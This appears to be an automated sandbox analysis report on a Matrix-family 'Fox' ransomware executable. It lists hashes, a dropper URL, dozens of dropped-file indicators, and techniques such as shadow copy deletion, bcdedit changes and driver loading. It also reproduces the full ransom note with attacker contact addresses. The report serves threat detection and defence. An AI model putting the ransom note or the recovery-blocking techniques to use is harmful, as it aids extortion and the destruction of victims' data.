matrix | 016061f330faaeffdd84628f613a719a2f617c8145909d047b5721429ee5b451

Resubmissions

03-04-2024 17:37

240403-v68g6sga2w 10

Analysis

max time kernel
152s
max time network
158s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
03-04-2024 17:37

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

FoxRansomware/0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
Size

1.2MB
MD5

76b640aa00354e46b29ca7ac2adfd732
SHA1

afebf9d72ba7186afefebf4deda87675621b0b8b
SHA256

0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7
SHA512

fecb15238714c786098f1dd0bb18696ab15634228ec3a48c900fd843e817d4c24607bdf6fb58e0321da3e1c1e49305ec919dddabbd34727acec8fbd6cb6fd552
SSDEEP

24576:l/SA+2lraRrjSJR5ezmT1dM9tZBrPyvaNn:zXlabPyyN

Score

10^/10

matrix discovery evasion persistence ransomware upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://myexternalip.com/raw

Extracted

Path

C:\Program Files\Microsoft Office\root\Office16\SAMPLES\#FOX_README#.rtf

Ransom Note

{\rtf1\ansi\ansicpg1251\deff0\nouicompat\deflang1049{\fonttbl{\f0\fnil\fcharset0 Calibri;}{\f1\fnil\fcharset204 Calibri;}} {\colortbl ;\red255\green0\blue0;\red0\green77\blue187;\red0\green176\blue80;\red0\green0\blue255;\red255\green255\blue255;} {\*\generator Riched20 10.0.15063}\viewkind4\uc1 \pard\ri-500\sa200\sl240\slmult1\qc\tx8804\ul\b\f0\fs28\lang1033 HOW TO RECOVER YOUR FILES INSTRUCTION\ulnone\f1\lang1049\par \pard\ri-74\sl240\slmult1\tx8378\cf1\f0\fs24\lang1033 ATENTION!!!\par \cf0\b0 We are realy sorry to inform you that \b ALL YOUR FILES WERE ENCRYPTED \par \b0 by our automatic software. It became possible because of bad server security. \par \cf1\b ATENTION!!!\par \cf0\b0 Please don't worry, we can help you to \b RESTORE\b0 your server to original\par state and decrypt all your files quickly and safely!\par \b\par \cf2 INFORMATION!!!\par \cf0\b0 Files are not broken!!!\par Files were encrypted with AES-128+RSA-2048 crypto algorithms.\par There is no way to decrypt your files without unique decryption key and special software. Your unique decryption key is securely stored on our server. For our safety, all information about your server and your decryption key will be automaticaly \b DELETED AFTER 7 DAYS! \b0 You will irrevocably lose all your data!\par \i * Please note that all the attempts to recover your files by yourself or using third party tools will result only in irrevocable loss of your data!\par * Please note that you can recover files only with your unique decryption key, which stored on our side. If you will use the help of third parties, you will only add a middleman.\f1\lang1049\par \i0\f0\lang1033\par \cf3\b HOW TO RECOVER FILES???\par \cf0\b0 Please write us to the e-mail \i (write on English or use professional translator)\i0 :\par \pard\sl240\slmult1\b\fs28 [email protected] \par [email protected]\par [email protected]\cf1\fs24\par You have to send your message on each of our 3 emails\f1\lang1049 \f0\lang1033 due to the fact that the message may not reach their intended recipient for a variety of reasons!\fs28\par \pard\ri-74\sl240\slmult1\tx8378\cf0\b0\fs24 \par In subject line write your personal ID:\par \b\fs28 48CC60133FF39B13\par \b0\fs24 We recommed you to attach 3 encrypted files to your message. We will demonstrate that we can recover your files. \f1\lang1049\par \i * \f0\lang1033 \f1\lang1049 \f0\lang1033 Please note that files must not contain any valuable information and their total size must be less than 5Mb. \par \i0\par \cf1\b OUR ADVICE!!!\par \cf0\b0 Please be sure that we will find common languge. We will restore all the data and give you recommedations how to configure the protection of your server.\par \ul\b\par We will definitely reach an agreement ;) !!!\b0\par \ulnone\par \fs20 \par \par \par \par \par \par \par \pard\ri-74\sl240\slmult1\qc\tx8378\b\fs24 ALTERNATIVE COMMUNICATION\par \b0\fs20\par \pard\ri-74\sl240\slmult1\tx8378 \f1\lang1049 If y\'eeu did n\'eet r\'e5c\'e5iv\'e5 th\'e5 \'e0nsw\'e5r fr\'eem th\'e5 \'e0f\'eer\'e5cit\'e5d \'e5m\'e0il\f0\lang1033 s\f1\lang1049 f\'eer m\'eer\'e5 th\f0\lang1033 e\f1\lang1049 n \f0\lang1033 24\f1\lang1049 h\f0\lang1033 o\f1\lang1049 urs\f0\lang1033 please s\f1\lang1049\'e5\f0\lang1033 nd us Bitm\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 s fr\f1\lang1049\'ee\f0\lang1033 m \f1\lang1049\'e0\f0\lang1033 w\f1\lang1049\'e5\f0\lang1033 b br\f1\lang1049\'ee\f0\lang1033 ws\f1\lang1049\'e5\f0\lang1033 r thr\f1\lang1049\'ee\f0\lang1033 ugh th\f1\lang1049\'e5\f0\lang1033 w\f1\lang1049\'e5\f0\lang1033 bp\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 {{\field{\*\fldinst{HYPERLINK https://bitmsg.me }}{\fldrslt{https://bitmsg.me\ul0\cf0}}}}\f0\fs20 . B\f1\lang1049\'e5\f0\lang1033 l\f1\lang1049\'ee\f0\lang1033 w is \f1\lang1049\'e0\f0\lang1033 tut\f1\lang1049\'ee\f0\lang1033 ri\f1\lang1049\'e0\f0\lang1033 l \f1\lang1049\'ee\f0\lang1033 n h\f1\lang1049\'ee\f0\lang1033 w t\f1\lang1049\'ee\f0\lang1033 s\f1\lang1049\'e5\f0\lang1033 nd bitm\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 vi\f1\lang1049\'e0\f0\lang1033 w\f1\lang1049\'e5\f0\lang1033 b br\f1\lang1049\'ee\f0\lang1033 ws\f1\lang1049\'e5\f0\lang1033 r:\par 1. \f1\lang1049\'ce\f0\lang1033 p\f1\lang1049\'e5\f0\lang1033 n in y\f1\lang1049\'ee\f0\lang1033 ur br\f1\lang1049\'ee\f0\lang1033 ws\f1\lang1049\'e5\f0\lang1033 r th\f1\lang1049\'e5\f0\lang1033 link {{\field{\*\fldinst{HYPERLINK https://bitmsg.me/users/sign_up }}{\fldrslt{https://bitmsg.me/users/sign_up\ul0\cf0}}}}\f0\fs20 \f1\lang1049\'e0\f0\lang1033 nd m\f1\lang1049\'e0\f0\lang1033 k\f1\lang1049\'e5\f0\lang1033 th\f1\lang1049\'e5\f0\lang1033 r\f1\lang1049\'e5\f0\lang1033 gistr\f1\lang1049\'e0\f0\lang1033 ti\f1\lang1049\'ee\f0\lang1033 n b\f1\lang1049\'f3\f0\lang1033 \f1\lang1049\'e5\f0\lang1033 nt\f1\lang1049\'e5\f0\lang1033 ring n\f1\lang1049\'e0\f0\lang1033 m\f1\lang1049\'e5\f0\lang1033 \f1\lang1049\'e5\f0\lang1033 m\f1\lang1049\'e0\f0\lang1033 il \f1\lang1049\'e0\f0\lang1033 nd p\f1\lang1049\'e0\f0\lang1033 ssw\f1\lang1049\'ee\f0\lang1033 rd.\par 2. \f1\lang1049\'d3\'ee\f0\lang1033 u must c\f1\lang1049\'ee\f0\lang1033 nfirm th\f1\lang1049\'e5\f0\lang1033 r\f1\lang1049\'e5\f0\lang1033 gistr\f1\lang1049\'e0\f0\lang1033 ti\f1\lang1049\'ee\f0\lang1033 n, r\f1\lang1049\'e5\f0\lang1033 turn t\f1\lang1049\'ee\f0\lang1033 \f1\lang1049\'f3\'ee\f0\lang1033 ur \f1\lang1049\'e5\f0\lang1033 m\f1\lang1049\'e0\f0\lang1033 il \f1\lang1049\'e0\f0\lang1033 nd f\f1\lang1049\'ee\f0\lang1033 ll\f1\lang1049\'ee\f0\lang1033 w th\f1\lang1049\'e5\f0\lang1033 instructi\f1\lang1049\'ee\f0\lang1033 ns th\f1\lang1049\'e0\f0\lang1033 t w\f1\lang1049\'e5\f0\lang1033 r\f1\lang1049\'e5\f0\lang1033 s\f1\lang1049\'e5\f0\lang1033 nt t\f1\lang1049\'ee\f0\lang1033 \f1\lang1049\'f3\'ee\f0\lang1033 u.\par 3. R\f1\lang1049\'e5\f0\lang1033 turn t\f1\lang1049\'ee\f0\lang1033 sit\f1\lang1049\'e5\f0\lang1033 \f1\lang1049\'e0\f0\lang1033 nd \f1\lang1049\'f1\f0\lang1033 lick \f1\lang1049 "\f0\lang1033 L\f1\lang1049\'ee\f0\lang1033 gin\f1\lang1049 "\f0\lang1033 l\f1\lang1049\'e0\f0\lang1033 b\f1\lang1049\'e5\f0\lang1033 l \f1\lang1049\'ee\f0\lang1033 r us\f1\lang1049\'e5\f0\lang1033 link {{\field{\*\fldinst{HYPERLINK https://bitmsg.me/users/sign_in }}{\fldrslt{https://bitmsg.me/users/sign_in\ul0\cf0}}}}\f0\fs20 , \f1\lang1049\'e5\f0\lang1033 nt\f1\lang1049\'e5\f0\lang1033 r \f1\lang1049\'f3\'ee\f0\lang1033 ur \f1\lang1049\'e5\f0\lang1033 m\f1\lang1049\'e0\f0\lang1033 il \f1\lang1049\'e0\f0\lang1033 nd p\f1\lang1049\'e0\f0\lang1033 ssw\f1\lang1049\'ee\f0\lang1033 rd \f1\lang1049\'e0\f0\lang1033 nd click th\f1\lang1049\'e5\f0\lang1033 "Sign in" butt\f1\lang1049\'ee\f0\lang1033 n. \f1\lang1049 \f0\lang1033\par 4. \f1\lang1049\'d1\f0\lang1033 lick th\f1\lang1049\'e5\f0\lang1033 "\f1\lang1049\'d1\f0\lang1033 r\f1\lang1049\'e5\'e0\f0\lang1033 t\f1\lang1049\'e5\f0\lang1033 R\f1\lang1049\'e0\f0\lang1033 nd\f1\lang1049\'ee\f0\lang1033 m \f1\lang1049\'e0\f0\lang1033 ddr\f1\lang1049\'e5\f0\lang1033 ss" butt\f1\lang1049\'ee\f0\lang1033 n.\par 5. \f1\lang1049\'d1\f0\lang1033 lick th\f1\lang1049\'e5\f0\lang1033 "N\f1\lang1049\'e5\f0\lang1033 w m\f1\lang1049\'e0\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 " butt\f1\lang1049\'ee\f0\lang1033 n.\par \b 6. S\f1\lang1049\'e5\f0\lang1033 nding m\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 :\par T\f1\lang1049\'ee\f0\lang1033 :\b0 \f1\lang1049\'c5\f0\lang1033 nt\f1\lang1049\'e5\f0\lang1033 r \f1\lang1049\'e0\f0\lang1033 ddr\f1\lang1049\'e5\f0\lang1033 ss: \b BM-2cXRWRW5Jv5hxbhgu2HJSJrtPf92iKshhm\par \pard\sl240\slmult1 Subj\f1\lang1049\'e5\'f1\f0\lang1033 t:\b0 \f1\lang1049\'c5\f0\lang1033 nt\f1\lang1049\'e5\f0\lang1033 r \f1\lang1049\'f3\'ee\f0\lang1033 ur ID: \b 48CC60133FF39B13\par M\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 : \b0 D\f1\lang1049\'e5\f0\lang1033 scrib\f1\lang1049\'e5\f0\lang1033 wh\f1\lang1049\'e0\f0\lang1033 t \f1\lang1049\'f3\'ee\f0\lang1033 u think n\f1\lang1049\'e5\f0\lang1033 c\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 r\f1\lang1049\'f3\f0\lang1033 .\par \pard\ri-74\sa200\sl240\slmult1\tx8378\f1\lang1049\'d1\f0\lang1033 lick th\f1\lang1049\'e5\f0\lang1033 "S\f1\lang1049\'e5\f0\lang1033 nd m\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 " butt\f1\lang1049\'ee\f0\lang1033 n.\cf5\b\par \pard\sa200\sl240\slmult1\fs28 dqsd5doY\cf0\f1\fs32\lang1049\par \par }

Emails

[email protected]

[email protected]\par

[email protected]\cf1\fs24\par

URLs

https://bitmsg.me

https://bitmsg.me/users/sign_up

https://bitmsg.me/users/sign_in

Signatures

Matrix Ransomware 64 IoCs

Targeted ransomware with information collection and encryption functionality.

ransomware matrix

Processes:

0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe

description	ioc	process
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\en-gb\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\DataModel\Resources\1033\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win-scrollbar\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\sv-se\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\zh-tw\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\uk-ua\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\da-dk\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\nl-nl\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\unified-share\js\nls\ko-kr\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files\Microsoft Office\root\Office16\SkypeSrv\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ast\LC_MESSAGES\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\de-de\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.0\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\fr-fr\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files\Java\jdk-1.8\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\zh-tw\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\hr-hr\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\ro-ro\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files\VideoLAN\VLC\locale\el\LC_MESSAGES\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\fr-fr\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\unified-share\js\nls\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\ko-kr\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\en-ae\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Users\All Users\Package Cache\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.0\RedistList\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\de-de\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\cs-cz\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\unified-share\js\nls\de-de\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\images\themeless\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\themes\dark\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\hr-hr\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\nb-no\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\en-ae\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\app-center\js\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\tr-tr\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\fr-ma\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\uss-search\js\nls\en-ae\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files\Microsoft Office\root\Office16\PersonaSpy\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ar\LC_MESSAGES\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\nl-nl\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\fi-fi\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\DESIGNER\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\it-it\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\search-summary\js\nls\fr-ma\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files\VideoLAN\VLC\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\cs-cz\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sign-services-auth\js\nls\tr-tr\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files\Microsoft Office\PackageManifests\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\JOURNAL\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\ECLIPSE\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\eu-es\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\unified-share\js\nls\ja-jp\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files\Google\Chrome\Application\106.0.5249.119\default_apps\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\hu-hu\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\tr-tr\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\js\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\edge_feedback\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\reviews\js\nls\nl-nl\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\en-ae\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\pl-pl\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files\VideoLAN\VLC\locale\it\LC_MESSAGES\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\es-es\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490
Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
ransomware evasion

Inhibit System Recovery
T1490

Processes:

bcdedit.exebcdedit.exe

pid process

7488 bcdedit.exe
7792 bcdedit.exe
Drops file in Drivers directory 1 IoCs

Processes:

WegCvGtZ64.exe

description ioc process

File created C:\Windows\system32\Drivers\PROCEXP152.SYS WegCvGtZ64.exe

pid	process
7488	bcdedit.exe
7792	bcdedit.exe

description	ioc	process
File created	C:\Windows\system32\Drivers\PROCEXP152.SYS	WegCvGtZ64.exe

Sets service image path in registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

WegCvGtZ64.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\PROCEXP152\ImagePath = "\\??\\C:\\Windows\\system32\\Drivers\\PROCEXP152.SYS"	WegCvGtZ64.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

wscript.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	wscript.exe

Executes dropped EXE 3 IoCs

Processes:

NWVBvXqV.exeWegCvGtZ.exeWegCvGtZ64.exe

pid process

1368 NWVBvXqV.exe
5656 WegCvGtZ.exe
4496 WegCvGtZ64.exe
Modifies file permissions 1 TTPs 1 IoCs
discovery

File and Directory Permissions Modification
T1222

Processes:

takeown.exe

pid process

5360 takeown.exe

pid	process
1368	NWVBvXqV.exe
5656	WegCvGtZ.exe
4496	WegCvGtZ64.exe

pid	process
5360	takeown.exe

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\WegCvGtZ.exe	upx
behavioral4/memory/5656-1088-0x0000000000400000-0x0000000000477000-memory.dmp	upx
behavioral4/memory/5656-2970-0x0000000000400000-0x0000000000477000-memory.dmp	upx

Enumerates connected drives 3 TTPs 44 IoCs

